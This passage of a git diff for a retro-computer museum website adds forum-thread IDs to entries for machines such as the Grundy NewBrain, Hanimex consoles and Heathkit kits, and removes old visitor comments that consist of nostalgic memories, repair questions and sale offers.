being part of the Grid Systems team resulted in batteries or wall adapters never catching on fire. Pulver Labs evaluated the batteries and power supplies in our lab to extremes and then made design recommendations$ the designs shipped and sold to the public could not catch on fire during any extreme use.\ - Our logo appears on the Grid Systems product because Pulver Labs Certified compliance to product standards in 56 countries, and monitored production to assure continued compliance. - - author: Mr X (USA) - date: Saturday 8th March 2008 - text: Pulver labs was a testing agency...they did NOT design nor manufacture the Grid. I worked for Cirrus Logic..we supplied VGA chips to Grid..I also dealt with Pulver when he (Lee Pulver) started his company (then in Boise Idaho) they did product compliance testing for VDE/CSA and UL - - author: Matt Hibbs (USA) - date: Friday 14th April 2006 - text: The IRS (Internal Revenue Service) in Boise had about 40 of these for the Revenue Agents to do field audits. The Boise District (now gone by) was a test center for the RAR system. The IRS used them for several years and the moved on to another Laptop mfg. We heard tails of companies filing handle parts in order to meet the new weight requirements. I know that Macy's former branch (Bon Marche) had a few in stores for inventory purposes. We liked them and had only occasional hardware related issues. - - author: Kevin (Clarkston, MI, USA) - date: Wednesday 23rd March 2005 - text: |- - I had a GRiD3 in my youth. My dad had purchased it from his work once it was being replaced. I spent many an evening chatting on BBS's with it. - - Oh the memories... - - author: Jaume de la Vega (Spain) - date: Thursday 14th October 2004 - text: |- - Also exists a version of gridcase-1 badged like "philipps pc-200" with a kind of backpack with two isa slots and a bunch of connectors. - - My own got a connector for external floppy instead of a real drive (i cannot use it because "disk error") oc_id: 1054 source: url: https://web.archive.org/web/20230605042356/http://www.old-computers.com/museum/computer.asp?c=1054 diff --git a/content/museum/gridlite.md b/content/museum/gridlite.md index 97b0a749..0ff83443 100644 --- a/content/museum/gridlite.md +++ b/content/museum/gridlite.md @@ -69,6 +69,7 @@ params: Hayes compatible modem 1200-baud ($395), 2400-baud ($595) - label: PRICE value: $1750 (128 KB version) + forum_thread: 947 oc_id: 972 source: url: https://web.archive.org/web/20230602192329/http://www.old-computers.com/museum/computer.asp?c=972 diff --git a/content/museum/grundy-new-brain.md b/content/museum/grundy-new-brain.md index 0a38c78b..a8424c6b 100644 --- a/content/museum/grundy-new-brain.md +++ b/content/museum/grundy-new-brain.md @@ -61,6 +61,7 @@ params: - adverts - hardware - links + forum_thread: 186 photos: - title: THE FIRST NEWBRAIN subtitle: '' @@ -134,93 +135,6 @@ params: - title: www.binarydinosaurs.co.uk url: http://www.binarydinosaurs.co.uk/Museum/Grundy/gerald.php text: Very detailed info from an insider - comments: - - author: Niels Roskam (Australia) - date: Monday 4th April 2016 - text: The first computer I got to play with in 1983 when doing high-school in the Netherlands. From learning to beginnings of BASIC to doing poke and peeks into video RAM to get some graphics moving... - - author: Nick (United States) - date: Tuesday 21st October 2014 - text: My first real computer! - - author: Evert (NL) - date: Sunday 28th October 2012 - text: |- - In the details of the NewBrain it says that the machine has\ - a "calculatortype" keyboard. That is nonsense !!!!\ - Measure the keydistances !! They are the same as the "big"\ - keyboards sold today !!\ - Only the surface of the keys were a bit smaller.\ - A BIG advantage !!! You would not hit 2, 3, or 4 keys at the\ - same time !! I have never seen such a beautyfull and perfect\ - working keyboard !! - - author: Scouter3d (Österreich) - date: Tuesday 25th October 2011 - text: |- - Finally i got my NewBrain working again! see the whole story here: http://www.8bit-homecomputermuseum.at/repair/newbrain/newbrain.html - - Greetings TOM:-) - - author: Scouter3d (Österreich) - date: Saturday 20th August 2011 - text: |- - Hi, unfortunately my Newbrain is dead ... is there anyone who can help me /guide me in the repair process? I am an engineer and know a little bit about electronics, i have the shematics, i can use an oscilloscope and i can solder ... Any help is welcome!\ - Thanks TOM:-) - - author: BER (lisbon) - date: Wednesday 27th July 2011 - text: |- - For infos etc. about Newbrain:\ - http://www.newbrain.info/\ - http://newbrain.hcc.nl/ - - author: ATV Shineray (Bulgaria) - date: Thursday 30th September 2010 - text: I found a HQ picture http://tiny.cc/newbrain - - author: Jon (UK) - date: Monday 12th July 2010 - text: |- - I still have LOADS of New Brain gear. It was a truely fantastic system. I have the Serial I/O V24 adapter - as far as I know never actually put into production! 8 V24 ports, parallel printer and parallel I/O. Another very special item is the Expansion Interface Module that included multiple parallel ports as well as analogue I/O and a very crude sound device port. I modified New Brains to use 3.5" fdd''s and added the missing ports to the EIM that were never installed in production. A Paris-based micro club added hi-res colour graphics and a standard bus-based expansion system. - - A great system! - - author: maxim (Bulgaria) - date: Saturday 18th October 2008 - text: I can sell you PRAVETZ 8c. Its a relic, one of the first computers. With monitor and 5 1/4 discet device. for only 300 euro - - author: Stefano Bodrato (Italy) - date: Tuesday 19th June 2007 - text: |- - All, I've been fascinated by this machine, so, basing on the informations found on the dutch user group I've extended the Z88DK compiler to support it.\ - If you are willing to port small C programs to the Grundy Newbrain, give it a try: http://www.z88dk.org - - author: Ben Jennings (Britian) - date: Thursday 26th February 2004 - text: I have a Grundy new brain model AD but I don't have the wire that connects it to the tape recorder so I have to write programs down on paper it would be good if someone would post on this message board where to get one. - - author: Martin Bensley (Hamburg, Germany) - date: Saturday 1st November 2003 - text: Has anyone got a New Brain they would be willing to sell me. My father used to work for New Brain in Cambridge but a few years ago he threw away his New Brain by mistake - terrible I know but these things do happen. I would love to own a New Brain for old times sake. Can anyone help please, regards Martin Bensley, Hamburg Germany martinbensley@hotmail.com - - author: infernokis (norway) - date: Thursday 9th October 2003 - text: Grundy makes television-sets and tv-programs in the U.K - - author: Dr. Ron Amir (Hebrew University, Jerusalem Israel) - date: Monday 13rd January 2003 - text: I work with a newbrain computer (model AD) to command a stepper (micromanipulator). I have a mechanical problem with the stepper. No manufacturer name is written on the stepper. The only thing written is "west Germany". Does anybody know who should I contact regarding my stepper problem? Does Grundy, the company behind newbrain still exist? - - author: Ronny Jacobs (Nederland, The Netherlands) - date: Friday 29th November 2002 - text: |- - I also have a New Brain computer, unfortunatly without a powersupply. It would be nice if someone\ - could mail me the voltages that this nice computer\ - needs te be reborn.... - - author: Voyager (Athens Greece) - date: Thursday 30th May 2002 - text: Does anybody knows any links or FAQs on the Newbrain? Any emulators? - - author: Pere Batlle i Izard (Mollet del Valles /Barcelona/Catalunya/Spain) - date: Friday 3rd May 2002 - text: |- - I've got one.\ - During the years I used I was the president in Spain of a Users club, we edited 2 numbers of our journal. I have some 5 1/4 disk and K7 with software and many documentation manuals - - author: George (Athens/Greece) - date: Saturday 20th April 2002 - text: Very nice micro. Does anyone knows if the 2MegaBytes memory expansion was ever released? - - author: raf (Hellas (Greece)) - date: Friday 15th February 2002 - text: |- - I've got one. Some guys gave it to me without understanding what exactly it is. Unfortunately i have no any documentation about it. The set contains the pc, 3 or 4 connecting cables, transformator. It seems that works.\ - If someone has some (electronic) documentation or instructions and feels to be a very kind person, please, send me something.\ - Thanks! oc_id: 176 source: url: https://web.archive.org/web/20230320213423/http://www.old-computers.com/museum/computer.asp?c=176 diff --git a/content/museum/h-g-s-electronic-telesport.md b/content/museum/h-g-s-electronic-telesport.md index ce5a9ff8..01933fac 100644 --- a/content/museum/h-g-s-electronic-telesport.md +++ b/content/museum/h-g-s-electronic-telesport.md @@ -43,6 +43,7 @@ params: tabs: - photos - links + forum_thread: 767 photos: - title: HGS TELESPORT subtitle: '' @@ -64,10 +65,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: Bartimaus (U.S.A.) - date: Friday 3rd February 2017 - text: Are those controllers wireless? Or is it just the picture? related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/hanimex-666.md b/content/museum/hanimex-666.md index 38e2a540..869d5d39 100644 --- a/content/museum/hanimex-666.md +++ b/content/museum/hanimex-666.md @@ -11,6 +11,7 @@ params: - photos - emulators - links + forum_thread: 666 photos: - title: INSIDE subtitle: '' @@ -29,22 +30,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Ruben B. (Spain) - date: Wednesday 25th January 2023 - text: I think -p means positive video, France used positive video modulation, I''ve a Pong console made in Honk Kong or the like but designed for the French market and it has a RF modulator circuit that gives positive video too. - - author: SWEEPER_92 (England) - date: Wednesday 14th March 2018 - text: Just broke out my dad''s old Hanimex 666s-n earlier today. Hasn''t been played in \~50 years. It was sitting in a box in the garage along with other things collecting so much tust and flys and dirt in that open top boxs, I had no idea if it would work. I always misstook it for a power tool. Well let me tell you, it works like a dream! Me and my dad played a couple of rounds of tennis and to tell the truth, I can''t remember having this much fun with my dad ever. Fantastic little relick! I adore it. - - author: Johnathan Rivera (USA) - date: Sunday 7th January 2018 - text: More like "The Pong of the Anti-Christ". - - author: Bartimaus (U.S.A.) - date: Monday 6th February 2017 - text: Ha-Ha? - - author: PeriSoft (Ithaca, NY) - date: Saturday 24th March 2007 - text: Oh no! It's the pong of the beast! related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/hanimex-677.md b/content/museum/hanimex-677.md index 4ed5b870..116dab6f 100644 --- a/content/museum/hanimex-677.md +++ b/content/museum/hanimex-677.md @@ -48,25 +48,12 @@ params: value: 'Yes' tabs: - photos + forum_thread: 667 photos: - title: INSIDE subtitle: '' text: '' image: /media/museum/photos/hanimex_677cg_in.jpg - comments: - - author: leLANNA (Australia) - date: Sunday 1st December 2013 - text: |- - I have one with everything except a manual and box. Made it hard to work out which model.\ - Am about to list on ebay :) - - author: leLANNA (Australia) - date: Sunday 1st December 2013 - text: |- - I have one with everything except a manual and box. Made it hard to work out which model.\ - Am about to list on ebay :) - - author: Gary (australia) - date: Monday 21st June 2010 - text: I still have a Hanimex 677 console,(boxed and mint) which was my first video game console. This machine was NOT black and white output as in your info, but had pink sprites on a green background. The blue version of the console without the lightgun was B$W. oc_id: 683 source: url: https://web.archive.org/web/20230319103130/http://www.old-computers.com/museum/computer.asp?c=683 diff --git a/content/museum/hanimex-7771.md b/content/museum/hanimex-7771.md index 7ffcb61b..4c926a27 100644 --- a/content/museum/hanimex-7771.md +++ b/content/museum/hanimex-7771.md @@ -50,6 +50,7 @@ params: - photos - emulators - links + forum_thread: 668 photos: - title: TOP subtitle: '' @@ -76,34 +77,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Stéphane (France) - date: Tuesday 17th May 2016 - text: |- - Hi, - - I''ve a problem with my Hanimex. A resistor is break and lost ...\ - It''s on the vhf cable, but I don''t know the value of this. - - This is a link of pictures: - - https://scontent-cdg2-1.xx.fbcdn.net/t31.0-8/13247908_1722137354695702_6754810335434507989_o.jpg - - https://scontent-cdg2-1.xx.fbcdn.net/t31.0-8/s2048x2048/13173354_1722137618029009_2103963142766743097_o.jpg - - Thanks for your help :) - - author: geroge (california) - date: Friday 1st July 2011 - text: Hey everyone I have this egsact game brand new played once still in plastics n directions n warrenty it has for games 160 dollars 8317945176 ask for george - - author: chris (uk) - date: Tuesday 11th January 2005 - text: lol, thanks anyway - - author: Webmaster (France) - date: Sunday 9th January 2005 - text: No, sorry... - - author: chris (uk) - date: Sunday 9th January 2005 - text: I found one of these in my loft. worth anything? related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/hanimex-hmg-2650.md b/content/museum/hanimex-hmg-2650.md index 47a58256..5934b2dc 100644 --- a/content/museum/hanimex-hmg-2650.md +++ b/content/museum/hanimex-hmg-2650.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 1146 photos: - title: HMG 2650 subtitle: '' @@ -139,35 +140,6 @@ params:  source : [Emerson Arcadia 2001 Central](http://amigan.classicgaming.gamespy.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: agreysiren (Australia) - date: Monday 24th August 2020 - text: I owned this console and had 20+ games (cartridge) with it. Titles included Space Invaders, Pacman, Galaga and many other classics. I would be willing to purchase one that is still operational. - - author: menno (nederland) - date: Friday 29th July 2011 - text: |- - i have this system including 12 games. i sell it but have no clew what it''s worth. i have the games:\ - thanks a lot, ocean battle, american football, robot killer, capture, space attack, spiders, red clash (2x), space vultures, jungler and space squadron. the computer i have in the original box. - - author: menno (nederland) - date: Friday 29th July 2011 - text: |- - i have this system including 12 games. i sell it but have no clew what it''s worth. i have the games:\ - thanks a lot, ocean battle, american football, robot killer, capture, space attack, spiders, red clash (2x), space vultures, jungler and space squadron. the computer i have in the original box. - - author: Chris (Canada) - date: Wednesday 4th August 2010 - text: |- - I found some old magazines today and this console,\ - Hanimex HMG 2650 is in a Woodwards Christmas Catalog from British Columbia, Canada.\ - It looks different from the one pictured here, and is "Value Priced at $179.00. I have never heard of this system before. - - author: Rocco Rest - date: Sunday 20th June 2010 - text: I have this computer at home. OLDSCHOOL. I Sell it. Call me +49 7941934178 - - author: Roberto Dillon - date: Thursday 28th January 2010 - text: I confirm this model was also marketed in Italy between 1982 and 1983. - - author: Adrian Dixon (Australia) - date: Wednesday 28th June 2006 - text: This was the first console I owned. Bought in Australia by my father around 1982. I had Tank Battle, Tennis, Space Invaders and used to programme in BASIC and store the code on tapes for later use. related: - /museum/advision-home-arcade - /museum/bandai-arcadia diff --git a/content/museum/hanimex-hmg-7900.md b/content/museum/hanimex-hmg-7900.md index 6758975a..3572e965 100644 --- a/content/museum/hanimex-hmg-7900.md +++ b/content/museum/hanimex-hmg-7900.md @@ -12,6 +12,7 @@ params: - software - links - docs + forum_thread: 680 photos: - title: HMG-7900 subtitle: '' @@ -86,37 +87,6 @@ params:  source : [Iza-Ware](http://izaware.blogspot.com/) **... READ THE ONLINE VERSION BY CLICKING BELOW :** - comments: - - author: Claus (Germany) - date: Monday 15th December 2014 - text: |- - This is a real GEM 8bit console my friends : RARE with FUTURISTIC DESIGN in silver / black color and for sure one of the most SLIM 8 bit video game consoles ever made. If you put this console side by side with a ''''Colecovision'''' or a ''''Fairchild Channel F'''' or a ''''Philps Videopac'''' or an ''''Atari 2600 / wood grain'''', you will understand what I mean. And what to say about he BOX of this console : Maybe the MOST BEAUTIFUL console box ever made : colorful with robots, planets, space / air crafts, space station, war boat and a Pac-man with a running Pac pellet... I don''t think that there is another console box in game history, that has a Pac-man figure on it or such a variety of so many colorful figures. Unbelievable !!! Just remember the dull and boring boxes of the most of 8 bit consoles, showing a family or kids playing a game on a TV - Really AWFUL. About the console capabilities ? Not to expect so much, but who cares - this is a Retro Artwork and not a Playstation 3. Unfortunately the game library of the console is very poor (only 10 games released). Some games like : ''''saucer''s attack / space invaders clone'''', ''''Martian / galaxian clone'''', ''''expedition / Berzerk'''' are good and quite interesting, although extremely difficult to find.\ - CONCLUSION: STRONGLY RECOMMENDED to buy this console, but ONLY if it is BOXED. Many greetings to all the Retro lovers in whole world. - - author: Fred (France) - date: Thursday 22nd May 2008 - text: |- - Woooooooooow !\ - Thanks so much old-computers.com\ - Where could we get screenshots of the games ? - - this one was the 1st video game system I had ever...\ - I'm 33, it was 25 years ago... I'm getting old ! - - author: christian.p (France) - date: Thursday 5th October 2006 - text: OK. I remember. I still have one in my bedside table. When I moved out, I just took out the drawer and put it back in place. I never could dipose of it. I do not know if it's still functionnal but I promise to every 'old chip' lovers that I'll check and let you know right here as soon as I have time to. - - author: Steve (Adelaide, Australia) - date: Saturday 4th September 2004 - text: |- - A classmate of mine had one of these and it was a horrible system, the Atari 2600 was primitive system by 1987 and this was significantly worse than the Atari, and had very limited software support.\ - I'm glad that the guy below was happy but I fear that many kids were given one of these consoles at Christmas, when what they really wanted was an Atari or a Commodore 64.\ - If the graphics weren't so bad I might have something nicer to say about it. - - author: gofo (france) - date: Monday 30th September 2002 - text: |- - thank you old-computers.com,thank you!!!!!\ - i forgot this console, but it was my first one!\ - it was a shame to tell my friends that it was my only console, but now i'm proud : i found it in my attic after about 10years!and it s still working!!!\ - thanx again!! related: - /museum/itmc-sd-290 - /museum/joueclub-sd-290 diff --git a/content/museum/hanimex-pencil-ii.md b/content/museum/hanimex-pencil-ii.md index 698a3a45..315cb90b 100644 --- a/content/museum/hanimex-pencil-ii.md +++ b/content/museum/hanimex-pencil-ii.md @@ -64,6 +64,7 @@ params: - photos - adverts - hardware + forum_thread: 148 photos: - title: LARGE VIEW subtitle: '' @@ -154,39 +155,6 @@ params: subtitle: '' text: '' image: /media/museum/hardware/hanimex_pencil2_memorypacks.jpg - comments: - - author: rod (Canada) - date: Friday 14th January 2022 - text: Pencil.... What a strange name to give to a computer... - - author: Pedro (España) - date: Saturday 30th January 2021 - text: Hello, my name is Pedro, I am new to this great forum. I have had a device saved for a long time, but I really don''t know if it has any value, I would like to know if someone could help me. I find very little information about it, and I have never seen any for sale. Thank you very much - - author: François - date: Friday 5th June 2020 - text: |- - Warm memories for me too! - - For a strange dream that I had tonight, I remembered the "Hanimex" brand of my very first microcomputer. So I just Googled it to find again the "Pencil II" name that I totally forgot since many years. For this reason I''m here now in June 2020 writing about it. - - This Pencil II has been my first computer purchased by my dear parents when I had only 11 years near 1984. At that time some of my friends had the great ZX80 and I remember going to their home after school to play and learn programming with Basic and Logo languages. My family and I were living in France and unfortunately, ZX80 price was too expensive for my parents. Anyhow, my mom and dad clearly understood that such "machines" were an important investment for my future. So in a local French computer show, they saw this Pencil II by Hanimex in a stand at a more affordable price, so they decided to purchase it for me. It was still a big investment for my poor family at that time, but still less than the more expensive Sinclair model. - - In the next couple of years I used this microcomputer almost 2 or 3 hours per day at home, connected to the TV after homework. As there were almost no programmes and specially no friends with same machine, I had to programm my own small games and some basic software tools with its BASIC cartridge. The hardware was really limited, specially the RAM, so I had to spare all my pocket money to purchase a huge lateral 16KB expansion in order to take more advantage of it. And also a cassette player to save my programms on tapes. I still remember that the machine design was really nice with a robust manufacture. Its keyboard with soft plastic keys was not so uncomfortable as it could seem on pictures, although for sure nothing similar to a good PC keyboard. The graphics were basic (low resolution with support for some few sprites) but I remember that sound capabilities were pretty nice at that time. - - The machine was very limited and after a while it was quite complex to get much more of it. Specially because at that time there was no fan communities to exchange information as the device did not have commercial success in France and unfortunately Internet still did not exist. Anyhow I still remember to have enjoyed it a lot. And for sure this was my first step in the wonderful software world that today is paying my bills, so I will be always very grateful to my parents for having me purchased this nice Pencil II by Hanimex. - - Cheers! - - François - - PD: some years ago, my mom did a last cleaning of old "junks" that were in my room and this great computer memory finished in the recycling trash... yes, really sad... although it''s only hardware and nothing comparable to the pleasant memories that I still have of that old times and that hopefully will still remain in my biological memory until my own recycling time. - - author: Peter Byrnes (Australia) - date: Wednesday 2nd May 2012 - text: |- - I had one of these computers back in 1984. I learned BASIC programming which set me up for what was to come. I owe my current level of computer and software literacy, especially with MS Excel, to the Pencil II computer. It did come with some very basic programmes and games, the BASIC programming for which, were so large, that the running speed was excruciatingly slow and they were virtually unusable. - - I managed to write a few flying/bombing type games which ran a lot faster than those originally supplied. I also wrote a few display type programmes, one of which was for the local radio station. The Pencil II really was pretty good for that. - - Where these cassette tapes are now, is anybody''s guess. Pleasant memories of a time when things were good. oc_id: 136 source: url: https://web.archive.org/web/20230324222718/http://www.old-computers.com/museum/computer.asp?c=136 diff --git a/content/museum/hanimex-sd-070-colour-programmable-tv-game-console.md b/content/museum/hanimex-sd-070-colour-programmable-tv-game-console.md index 7cde8828..2e1bebf3 100644 --- a/content/museum/hanimex-sd-070-colour-programmable-tv-game-console.md +++ b/content/museum/hanimex-sd-070-colour-programmable-tv-game-console.md @@ -50,6 +50,7 @@ params: - photos - software - links + forum_thread: 1234 photos: - title: SD 070 COULEUR subtitle: '' diff --git a/content/museum/hanimex-t-338.md b/content/museum/hanimex-t-338.md index fe790189..662e0195 100644 --- a/content/museum/hanimex-t-338.md +++ b/content/museum/hanimex-t-338.md @@ -12,6 +12,7 @@ params: - software - emulators - links + forum_thread: 669 photos: - title: INSIDE subtitle: '' @@ -51,10 +52,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: calagan (Switzerland) - date: Tuesday 20th March 2018 - text: I own the exact same system under the Regina brand. The only difference is the silver sticker at the bottom left. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/hbn-computeur-le-guepard.md b/content/museum/hbn-computeur-le-guepard.md index 54c046ca..b8c72373 100644 --- a/content/museum/hbn-computeur-le-guepard.md +++ b/content/museum/hbn-computeur-le-guepard.md @@ -69,28 +69,7 @@ params: Track-ball, joysticks and mouse - label: PRICE value: 2286 (France, 84) - comments: - - author: Mark0 - date: Saturday 7th January 2017 - text: 'Here''''s an emulator: http://hbnguepard.free.fr/Emulateur.php' - - author: fiskpo - date: Wednesday 14th May 2014 - text: |- - Yeah! I still have it in my mother''s basement. It''s a huge thing. As a child, I spend hours typing small basic programs on it. My father bought it after spending some years(months?) with an acorn atom (do NOT bump the table with the tape player over it!!!). Le guepard seemed so modern and fast compared to it.\ - I confirm for the colors : it is beige and brown. I remember the very firm feeling of the keyboard. - - I think i''m gonna pay a visit to my mother soon ! - - author: Sakuri (MI, US) - date: Thursday 12th September 2013 - text: Le guepard $ the cheetah - - author: Webmaster (France) - date: Wednesday 23rd March 2005 - text: |- - I think it's lighting...\ - I must have been beige / brownish - - author: jef (ny, us) - date: Wednesday 23rd March 2005 - text: is it really orange or is that lighting? + forum_thread: 145 oc_id: 133 source: url: https://web.archive.org/web/20230528022349/http://www.old-computers.com/museum/computer.asp?c=133 diff --git a/content/museum/heathkit-ec-1.md b/content/museum/heathkit-ec-1.md index d7f5f536..f20f5cbe 100644 --- a/content/museum/heathkit-ec-1.md +++ b/content/museum/heathkit-ec-1.md @@ -43,6 +43,7 @@ params: tabs: - photos - adverts + forum_thread: 768 photos: - title: EC-1 SYSTEM subtitle: '' @@ -101,17 +102,6 @@ params: subtitle: '' text: Extract from the 1961 Heathkit catalog image: /media/museum/pubs/heathkit_ec1_catalogextr_1.jpg - comments: - - author: wahl (germany) - date: Monday 4th June 2018 - text: ic this ec-1-operational and komplte?cabels,tubes etc,,,,,,,,,,,fred - - author: Franco Savio (Vinovo (Torino) - Italy) - date: Friday 9th May 2003 - text: |- - I'm an italian electronic engineer, I'm interested in vacuum tube analog operational amplifiers.\ - I will be very gratefull to people that could send me schematics of EC-1 and other vacuum tube operational amps.\ - Thank you and best regards.\ - Franco savio - E-mail: francosavio1@tin.it oc_id: 787 source: url: https://web.archive.org/web/20220819210536/http://www.old-computers.com/museum/computer.asp?c=787 diff --git a/content/museum/heathkit-h8.md b/content/museum/heathkit-h8.md index 15517485..3fdc4bb6 100644 --- a/content/museum/heathkit-h8.md +++ b/content/museum/heathkit-h8.md @@ -63,6 +63,7 @@ params: - emulators - links - docs + forum_thread: 146 photos: - title: COMPLETE SYSTEM subtitle: '' @@ -158,19 +159,6 @@ params:  compiled/archived by Dave Dunfield\  type of document : PDF\  source : [Daves Old Computers](http://www.classiccmp.org/dunfield/heath/index.htm) - comments: - - author: David Hansen (IOWA USA) - date: Saturday 24th February 2018 - text: I found an h8 and h9 monitor. The h9 works the h8 needs work. I have all manuals and schmatic and documents related to this machine. also correspondence between original owner and heath kit company. email me if interested I can send pictures and more info. - - author: Dave Johnson (United States) - date: Saturday 21st January 2017 - text: The H8 with the H9 monitor was my first computer. I built in in my dad''s basement just before I was transferred to Germany. I was 32 years old and had dabbled in programming for years. (Took BASIC class at BYU in 1964). The H8 was built like a tank! the 32K static RAM ran hotter than the fires of Hades. I think the all steel construction was part of the heat sink design. I loved that computer. I went on to become an IT manager for the federal government and it all started with my beloved H8! I wish I still had it! - - author: Paul Domholdt (Los Angleles, CA) - date: Saturday 10th December 2005 - text: The boards I had are now gone. A couple of folks did contact me and bought up what I had. Still have fond memories of the years I had my H8! Good lucking finding parts/boards for those looking. - - author: Paul Domholdt (Los Angeles, CA) - date: Friday 31st May 2002 - text: This was my first computer, built it back in the summer of 1979. Was a great computer, learned a lot from it. I've still got some old boards for the H8 if anybody has any interest in them contact me via email. Paul oc_id: 134 source: url: https://web.archive.org/web/20230323144800/http://www.old-computers.com/museum/computer.asp?c=134 diff --git a/content/museum/heathkit-zenith-et-3400.md b/content/museum/heathkit-zenith-et-3400.md index cb1a829d..8edba52e 100644 --- a/content/museum/heathkit-zenith-et-3400.md +++ b/content/museum/heathkit-zenith-et-3400.md @@ -52,6 +52,7 @@ params: - photos - emulators - links + forum_thread: 766 photos: - title: 'LARGE VIEW #1' subtitle: '' @@ -103,44 +104,6 @@ params: - title: Heathkit ET-3400 Resources (Yahoo Groups) url: http://tech.groups.yahoo.com/group/ET-3400/ text: Modifications, schematics, manuals and other resources for the Heathkit ET-3400 Microcomputer Learning System. - comments: - - author: Andrew L Ayers (USA) - date: Saturday 9th March 2013 - text: Just picked up one of these trainers today at the Scottsdale ARC Hamfest$ got the trainer and a few mostly-complete "courses" (the trainer itself had some extra parts and whatnot on the breadboard, with wires running to various sections). I''ve been scouring the web looking for more info and such, and have found quite a lot. I found a PDF copy of EE-3401 - I''m looking for PDF copies of EE-3402 and EE-3405$ does anybody have ''em? - - author: Michael Wagg (United states) - date: Sunday 25th September 2011 - text: I currently have a complete set of the et-3400 manuals with tapes records and schematics on sale on eBay! They are in great condition. I have schematics as well as all Tests! - - author: Tim Niles (Minnesota) - date: Saturday 10th September 2011 - text: |- - Would anyone on this topic know someone who owns the microprocessor continuing education manuals? I just sold the two manual set and the buyer discovered a couple of missing sections which I would rather replace somehow than just refund. - - Any help would be greatly apreciated. - - author: Dave Harvey - date: Sunday 4th September 2011 - text: Two more training courses which required the ET-3400 were the Voice Synthesis Course EE-3403-A and the 6809 Microprocessors Course EE-3404. - - author: whipaway (USA) - date: Sunday 9th November 2008 - text: |- - Resources for ET-3400:\ - http://tech.groups.yahoo.com/group/ET-3400/ - - author: Kevin Sayler - date: Monday 25th August 2008 - text: My kit came with 512 bytes of RAM, Looking at the schematic and part $s, I noticed that they were 1K x 4 RAM chips. A bit of rewiring doubled my kit''s memory - - author: whipaway (Paisily Ppark) - date: Sunday 22nd April 2007 - text: i have PDF files that show the modification, with diagrams. - - author: Luposian (USA) - date: Monday 12th February 2007 - text: I have a Heathkit ET-3400A, based on the 6808 CPU. I am thinking about upgrading it to the expansion connector, but the instructions aren't very clear and I'm not sure where it would show a visual on the assembly/wire-up for this connector. Can you help in this regard? - - author: Martin Hultén Ashauer (Sweden) - date: Friday 17th October 2003 - text: Me and my friend scored bigtime! I for a long time admired a ET-3400 computer located in a locker in one of the classrooms at my school. So one day my teacher told me that i could borrow it (this was like 2 weeks ago). Then after I had asked around a little another teacher led me and my friend to a classroom and opend a big cardboard box and lo and behold it containd over 10 more or less working ET-3400s. Then he went over and opend a locker and took out a fiew manuals, schematics and reffernce books. So on this monday (October 20:th 2003) my friend will get a car and drive home them beatifull blue boxes. Our joy is almost infinite! - - author: Randy (Pittsburgh, PA) - date: Wednesday 6th August 2003 - text: |- - I have 3 of these ET-3400s in various states of disrepair. I also have extra parts. What I need is a schematic, manual and EPROM image.\ - Will trade a system for these items. oc_id: 785 source: url: https://web.archive.org/web/20230510155752/http://www.old-computers.com/museum/computer.asp?c=785 diff --git a/content/museum/heathkit-zenith-h-89.md b/content/museum/heathkit-zenith-h-89.md index 4cf9688e..5679d85c 100644 --- a/content/museum/heathkit-zenith-h-89.md +++ b/content/museum/heathkit-zenith-h-89.md @@ -63,6 +63,7 @@ params: - adverts - hardware - software + forum_thread: 147 photos: - title: H89 AND H77 FD UNIT subtitle: '' @@ -156,43 +157,6 @@ params: subtitle: '' text: Floppy discs operating system manual image: /media/museum/software/heathkit_h89_hdosmanual_1.jpg - comments: - - author: Jim Nelson (United States) - date: Sunday 17th February 2019 - text: jtnelsoniii(at)netscape.net - - author: Jim Nelson (United States) - date: Sunday 17th February 2019 - text: Looking for one of these computers to buy. Email me if you have one to sell. - - author: Jason H. Jester (Earth) - date: Thursday 22nd March 2018 - text: I was very lucky to have a father working in computing in the 1960''s through now. In 1980 he purchased an H89 kit and allowed me to do the entire assembly and learn CP/M. I also messed around in BASIC and Turbo Pascal on it for the summer between my fifth and sixth grades. I had plenty of time on computers before it, but the assembly of the H89 really taught me how systems work. By winter my dad had written some software for a local franchise owner to better manage his operations and the H89 got a new home. I did get to see it in use a few times after. Not until I got an Amiga 1000 did another computer mean as much to me. I have built and assembled many systems of various scales over the years. This will always be my first. - - author: Jeff Joseph (Norfolk, VA) - date: Monday 5th June 2017 - text: The H89, when compared with the TRS-80s by Radio Shack, could be considered the equivilant of a Model 3½ or "Three and a half". In other words, it was about halfway in power and features between a Model 3 (1980) and a Model 4 (1983). It could go to 64K RAM and the Model 3 was limited to 48K, but the Model 4 had 64K and could go to 128K. The H89 used a 2 Mhz Z80 like the Model 3$ the Model 4 ran at 4 Mhz. (though the H89 could be upgraded to 4 Mhz, the Model 4 could upgrade to 6 Mhz). The H89 had a big 80x24 screen like the Model 4, but the characters were alot fuzzier on the screen. (the Model 3 was 64x16). The keyboard on the H89 had a much better feel than the Model 4, though. Both could run CP/M, but the Model 4 had its own large library of TRSDOS 6 programs and ran all Model 3 programs as well. There was a company that made a one megabyte RAM board, and it was easy to install because it went into the H89''s card cage. The Model 4 could be upgraded to one megabyte, but you had - to do alot of soldering on the CPU board. The H89 RAM board could be used only as a RAMdisk$ the Model 4 board had drivers which permitted its RAM to be used as general-purpose expansion memory for TRSDOS applications through its standard @BANK supervisor call. - - author: James Starbird (Van Buren, Arkansas) - date: Tuesday 25th February 2014 - text: I assembled a H89 whilst Principal at an elementary school. Wrote a program to number-crunch attendance for the dreaded Quarterly Report. The Superintendent saw it, and bought a TRS 80 for his needs. Mine was the first. Also played the horse race game on it, and figured out how to rename the horses after the School Board members. Computers for teaching came rapidly after this beginning. - - author: Linda Adams (Northern Virginia) - date: Wednesday 2nd May 2012 - text: This was the first computer my father bought so he could research how to do fusion through computer programming. My brother designed a Pacman program on (it was very primitive in the graphics area), and I did 